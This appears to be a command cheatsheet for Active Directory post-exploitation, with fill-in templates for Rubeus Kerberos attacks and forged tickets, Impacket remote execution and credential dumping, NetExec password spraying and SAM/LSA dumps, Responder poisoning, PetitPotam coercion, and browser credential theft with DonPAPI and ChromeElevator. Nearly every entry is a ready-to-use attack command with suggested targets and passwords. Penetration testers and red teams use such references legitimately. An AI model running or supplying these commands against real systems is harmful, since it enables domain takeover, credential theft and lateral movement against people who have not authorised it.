% active-directory, post-exploitation, lateral-movement

# Rubeus - Kerberos abuse toolkit
Rubeus.exe kerberoast /outfile:<output_file>
$ output_file: echo "kerberoast_hashes.txt"

# Rubeus AS-REP roasting
Rubeus.exe asreproast /format:hashcat /outfile:<output_file>
$ output_file: echo "asrep_hashes.txt"

# Rubeus golden ticket
Rubeus.exe golden /rc4:<ntlm_hash> /domain:<domain> /sid:<domain_sid> /user:<username>
$ ntlm_hash: echo "aad3b435b51404eeaad3b435b51404ee"
$ domain: echo -e "corp.local\ndomain.com"
$ domain_sid: echo "S-1-5-21-xxxxx"
$ username: echo -e "administrator\nuser"

# Rubeus silver ticket
Rubeus.exe silver /service:<service_spn> /rc4:<ntlm_hash> /user:<username>
$ service_spn: echo -e "CIFS/DC01.corp.local\nHTTP/web01.corp.local"
$ ntlm_hash: echo "aad3b435b51404eeaad3b435b51404ee"
$ username: echo "user"

% impacket, lateral-movement

# Impacket GetUserSPNs (Kerberoasting)
GetUserSPNs.py <domain>/<username>:<password> -dc-ip <dc_ip> -request
$ domain: echo -e "CORP\nDOMAIN"
$ username: echo "user"
$ password: echo "password"
$ dc_ip: echo -e "192.168.1.10\n10.0.0.1"

# Impacket wmiexec - WMI command execution
wmiexec.py <domain>/<username>:<password>@<target>
$ domain: echo -e "CORP\nDOMAIN"
$ username: echo "administrator"
$ password: echo "password"
$ target: echo -e "192.168.1.10\nSRV01.corp.local"

# Impacket smbexec - SMB command execution
smbexec.py <domain>/<username>:<password>@<target>
$ domain: echo -e "CORP\nDOMAIN"
$ username: echo "administrator"
$ password: echo "password"
$ target: echo -e "192.168.1.10\nSRV01"

# Impacket ntlmrelayx - NTLM relay attack
ntlmrelayx.py -t <target> -smb2support
$ target: echo -e "smb://192.168.1.10\nldaps://DC01.corp.local"

# Impacket secretsdump - dump credentials
secretsdump.py <domain>/<username>:<password>@<target>
$ domain: echo -e "CORP\nDOMAIN"
$ username: echo "administrator"
$ password: echo "password"
$ target: echo -e "192.168.1.10\nDC01"

# Impacket psexec - SMB/PsExec execution
psexec.py <domain>/<username>:<password>@<target>
$ domain: echo -e "CORP\nDOMAIN"
$ username: echo "administrator"
$ password: echo "password"
$ target: echo -e "192.168.1.10\nSRV01"

% netexec, lateral-movement

# NetExec (CrackMapExec replacement) SMB enumeration
nxc smb <target> -u <username> -p <password>
$ target: echo -e "192.168.1.0/24\n10.0.0.1"
$ username: echo "user"
$ password: echo "password"

# NetExec password spray
nxc smb <target> -u <users_file> -p <password>
$ target: echo -e "192.168.1.0/24\nDC01"
$ users_file: echo -e "users.txt\nusers_list.txt"
$ password: echo -e "Password123\nSummer2023!"

# NetExec dump SAM
nxc smb <target> -u <username> -p <password> --sam
$ target: echo -e "192.168.1.10\nSRV01"
$ username: echo "administrator"
$ password: echo "password"

# NetExec dump LSA secrets
nxc smb <target> -u <username> -p <password> --lsa
$ target: echo -e "192.168.1.10\nDC01"
$ username: echo "administrator"
$ password: echo "password"

# NetExec execute command
nxc smb <target> -u <username> -p <password> -x <command>
$ target: echo -e "192.168.1.10\nSRV01"
$ username: echo "administrator"
$ password: echo "password"
$ command: echo -e "whoami\nipconfig\nnet user"

% pre-windows-2000, legacy-vulnerabilities

# pre2k - check for Pre-Windows 2000 computers with static passwords
pre2k auth -u <username> -p <password> -d <domain> -dc-ip <dc_ip> -verbose
$ username: echo -e "user\nnoprivuser"
$ password: echo -e "password\nUserPass123!"
$ domain: echo -e "corp.local\ndomain.com"
$ dc_ip: echo -e "192.168.1.10\n10.0.0.1"

# pre2k query
pre2k query -u <username> -p <password> -d <domain> -dc-ip <dc_ip>
$ username: echo "user"
$ password: echo "password"
$ domain: echo "corp.local"
$ dc_ip: echo "192.168.1.10"

% credential-relay, llmnr

# Responder - LLMNR/NBT-NS poisoning
responder -I <interface> -wrf
$ interface: echo -e "eth0\nwlan0\ntun0"

# Responder with specific interface and analysis mode
responder -I <interface> -A
$ interface: echo -e "eth0\nwlan0"

# PetitPotam - coerce authentication
python3 PetitPotam.py <attacker_ip> <target_ip>
$ attacker_ip: echo -e "192.168.1.50\n10.0.0.50"
$ target_ip: echo -e "192.168.1.10\nDC01.corp.local"

# WPAD detection
curl http://wpad.corp.local/wpad.dat

% browser-hijacking, credential-theft

# ChromeElevator - extract Chrome credentials
ChromeElevator.exe dump
# Or: ChromeElevator.exe decrypt

# DonPAPI - dump credentials from browsers/apps
DonPAPI.py <domain>/<username>:<password>@<target>
$ domain: echo -e "CORP\nWORKGROUP"
$ username: echo "user"
$ password: echo "password"
$ target: echo -e "192.168.1.10\nWORKSTATION01"

# DonPAPI with specific modules
DonPAPI.py <domain>/<username>:<password>@<target> -m <module>
$ domain: echo "CORP"
$ username: echo "user"
$ password: echo "password"
$ target: echo "192.168.1.10"
$ module: echo -e "chrome\nfirefox\nrdp\nvault"